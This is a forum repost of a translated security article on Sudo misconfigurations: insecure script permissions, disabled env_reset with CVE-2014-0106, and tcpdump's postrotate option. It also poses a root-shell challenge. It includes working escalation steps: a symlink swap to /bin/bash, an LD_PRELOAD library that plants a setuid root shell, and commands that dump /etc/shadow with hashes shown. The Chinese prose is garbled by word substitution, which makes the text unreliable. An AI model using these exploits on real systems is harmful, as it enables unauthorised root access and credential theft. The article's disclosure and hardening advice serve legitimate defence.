|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
安装和登录命令:login、shutdown、halt、reboot、mount、umount、chsh
概述
在处置平安相干的事件中,我们常常会发明服务器设置了权限办理的软件Sudo。和别的软件一样,设置Sudo也必需遵守最小特权的准绳,用户只能被授与尽量最小的特权来运转一些需要的义务或操纵。因而,为了平安地设置Sudo,一般用户的权限必需被严厉限定,他们仅能靠提拔后的权限(一般是root用户的权限)正当地实行一组命令。
在实践使用中,依据最小特权准绳设置的Sudo其实不多见;即使有,也常常存在些许毛病,我们使用这些毛病就能够猎取root权限。如许的话,就垮台了,我们能够随心所欲!
这篇文章旨在给出一些毛病和不平安设置的例子,这些是我们在平安评价中见到的并对临盆情况形成了必定影响的例子。同时也告知人人怎样让本人的团队加倍轻松地应对这些成绩。
不平安的文件体系权限
思索上面我们假造的用户“appadmin”的Sudo设置:- $sudo-l[sudo]passwordforappadmin:Userappadminmayrunthefollowingcommandsonthishost:(root)/opt/Support/start.sh,(root)/opt/Support/stop.sh,(root)/opt/Support/restart.sh,(root)/usr/sbin/lsof
复制代码 今朝看起来没甚么成绩。接着我们来看看以下剧本:- $ls-l/opt/Support/total4-rwxr-xr-x1rootroot37Oct314:06restart.sh-rwxr-xr-x1appadminappadmin53Oct314:03start.sh$ls-ld/opt/Supportdrwxr-xr-x2appadminappadmin4096Oct313:58/opt/Support
复制代码 这些文件和目次的权限没有成绩吗?在这里,我们有几个选项来提拔我们的权限:
- 创立一个不存在的文件“stop.sh”
- 变动已存在的文件“start.sh”
- 挪动文件“restart.sh”并创立另外一个同名的文件
上面是第三种做法的演示:- $mv/opt/Support/restart.sh{,.bak}$ln-s/bin/bash/opt/Support/restart.sh$sudo/opt/Support/restart.sh[sudo]passwordforappadmin:#iduid=0(root)gid=0(root)groups=0(root)
复制代码 Game?over!?:)
情况变量
思索上面我们的用户“monitor”的Sudo设置:- $sudo-l[sudo]passwordformonitor:MatchingDefaultsentriesformonitoronthishost:!env_resetUsermonitormayrunthefollowingcommandsonthishost:(root)/etc/init.d/sshd
复制代码 我们看到env_reset选项被禁用了!这就意味着我们能够变动我们被同意实行的命令的情况。依据Sudo版本的分歧,我们能够经由过程传进情况变量来提拔我们的权限,正如以下出名的毛病那样:
- PS4PS4(breno)
- LD_PRELOAD(KingcopeorSensepost)
一样必要晓得的是,别的一些伤害的情况变量也大概被我们滥用(PERL5OPT,PYTHONINSPECT等等)。
应该指出,固然,即便当env_reset被禁用,年夜多半伤害的情况变量如今已被Sudo依据默许的硬编码黑名单(hard-codedblacklist)删除。利用root用户运转“sudo-V”检察“要删除的情况变量”这个黑名单。
不外,在版本低于1.8.5的Sudo中,我们发明经由过程命令行传送的情况变量不会被删除,只管它们应当被删除。以是我们仍旧能够使用和LD_PRELOAD相似的手艺来提拔我们的权限,上面给出了在最新版本的RedHat企业版Linux5.10体系中的例子(仅仅是少了最新的平安更新)。- $rpm-qsudosudo-1.7.2p1-28.el5$cat>xoxo.c<<LUL#include<unistd.h>#include<stdlib.h>void_init(){if(!geteuid()){unsetenv("LD_PRELOAD");unlink("/tmp/libxoxo.so.1.0");setgid(0);setuid(0);execl("/bin/sh","sh","-c","cp/bin/bash/tmp/.bash;chown0:0/tmp/.bash;/bin/chmod+xs/tmp/.bash",NULL);}}LUL$gcc-oxoxo.o-cxoxo.c-fPIC$gcc-shared-Wl,-soname,libxoxo.so.1-o/tmp/libxoxo.so.1.0xoxo.o-nostartfiles$sudoLD_PRELOAD=/tmp/libxoxo.so.1.0/etc/init.d/sshdblaaah[sudo]passwordformonitor:$/tmp/.bash-p-cid;head-n1/etc/shadowuid=500(monitor)gid=500(monitor)euid=0(root)egid=0(root)groups=500(monitor)root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::
复制代码 这个Bug位于文件sudo-1.8.4p5/plugins/sudoers/env.c的第685行,该处一个boolean对照操纵没有被准确地实行。上面的补钉修复了这个成绩:- ---sudo-1.8.4p5/plugins/sudoers/env.c2012-03-3004:37:01.000000000+1100+++sudo-1.8.4p5-fixed/plugins/sudoers/env.c2014-02-2810:36:14.623915000+1100@@-682,7+682,7@@okvar=matches_env_keep(*ep);}else{okvar=matches_env_delete(*ep)==false;-if(okvar==false)+if(okvar==true)okvar=matches_env_check(*ep)!=false;}if(okvar==false){
复制代码 在1.8.5版本的Sudo中,受影响的代码实践上被变动和清算失落了,以这类“悄无声气”的体例修复了存在的成绩。了局就是,在1.8.5及以上版本中,经由过程命令行传送的情况变量也被扫除了。
必要注重的是RHEL5.10体系仍旧是懦弱的,由于它附带了1.7.2p1版本(使用了先前的每个平安补钉)。一样,RHEL从6.0到6.3兼容了一个1.7分支的版本。不外,RHEL6.4体系就要好一些,由于它附带了1.8.6p3版本。
我们卖力任地向供给商表露了这些平安成绩,在一周以内,该毛病被定名为CVE-2014-0106,并发布了个中一些细节,同时公布了1.7.10p8平安补钉。固然为受其影响的刊行版开辟的平安更新还未公布,一个复杂的办理措施是不要禁用env_reset选项,这是体系默许的。
Escapetoshell
思索上面我们的用户“john”的Sudo设置:- $sudo-l[sudo]passwordforjohn:Userjohnmayrunthefollowingcommandsonthishost:(root)/usr/sbin/tcpdump
复制代码 在这个例子中,john可以截获收集流量。这个义务自己对办理员来说是完整正当的,那末会是甚么出了成绩呢?值得懂得一下“-zpostrotate-command”(在tcpdump4.0.0版本中引进)这个选项:- $echo$id
- cat/etc/shadow>/tmp/.test$chmod+x/tmp/.test$sudotcpdump-ln-ieth0-w/dev/null-W1-G1-z/tmp/.test-Zroot[sudo]passwordforjohn:tcpdump:listeningoneth0,link-typeEN10MB(Ethernet),capturesize65535bytesMaximumfilelimitreached:1uid=0(root)gid=0(root)groups=0(root)context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:16138:0:99999:7:::bin:*:15980:0:99999:7:::...
复制代码 注重“Z-root”必要基于RedHat的刊行版(Fedora,CentOs等),由于它们在处置存储文件之前要修补TcpDump包来删除root权限。
那末,你能做些甚么以免Sudo的滥用?确保要细心反省每个猎取提拔后的权限来运转的程序,它们有大概间接取得root权限(anice#prompt)。好比说,像vi大概less如许的程序,同意用户挪用恣意的shell命令(带!大概相似的),应当用更平安的同类程序,rvim和cat来取代它们。
想实战一下?接上去有个应战,找出怎样弹出一个rootshell的办法。这里最少有两种办法可供我们参考,不外个中一种要比另外一种更具侵犯性,能够影响到体系的完全性。你能够在批评中给出你的办理举措。为了不减少兴趣性,我们会在几个礼拜以后发布我们的和最原始的办理办法。体系情况是一个尺度的CentOS6.5体系,仅按“默许”的体例安装了zip包。- $cat/usr/local/bin/extract_docs.sh#!/bin/bashzip-U/root/original-docs.zip-O/var/lib/extracted-docs.zip"$@"$ls-ld/root/original-docs.zip/usr/local/bin//usr/local/bin/extract_docs.sh/var/lib//var/lib/extracted-docs.zipls:cannotaccess/root/original-docs.zip:Permissiondenieddrwxr-xr-x.2rootroot4096Mar1217:02/usr/local/bin/-rwxr-xr-x.1rootroot80Mar1217:02/usr/local/bin/extract_docs.shdrwxr-xr-x.15rootroot4096Mar1217:02/var/lib/-rw-r--r--.1rootroot964Mar1217:02/var/lib/extracted-docs.zip$rpm-qzipzip-3.0-1.el6.x86_64$sudo-l[sudo]passwordforkevin:MatchingDefaultsentriesforkevinonthishost:requiretty,!visiblepw,always_set_home,env_reset,env_keep="COLORSDISPLAYHOSTNAMEHISTSIZEINPUTRCKDEDIRLS_COLORS",env_keep+="MAILPS1PS2QTDIRUSERNAMELANGLC_ADDRESSLC_CTYPE",env_keep+="LC_COLLATELC_IDENTIFICATIONLC_MEASUREMENTLC_MESSAGES",env_keep+="LC_MONETARYLC_NAMELC_NUMERICLC_PAPERLC_TELEPHONE",env_keep+="LC_TIMELC_ALLLANGUAGELINGUAS_XKB_CHARSETXAUTHORITY",secure_path=/sbin:/bin:/usr/sbin:/usr/binUserkevinmayrunthefollowingcommandsonthishost:(root)/usr/local/bin/extract_docs.sh
复制代码 感激浏览,如今把你的设法拿出来吧!
原文链接:securusglobal翻译:伯乐在线-冯钧
Linux的常用命令find,察看man文档,初学者一定会觉得太复杂而不原意用,但是你一旦学会就爱不释手。 |
|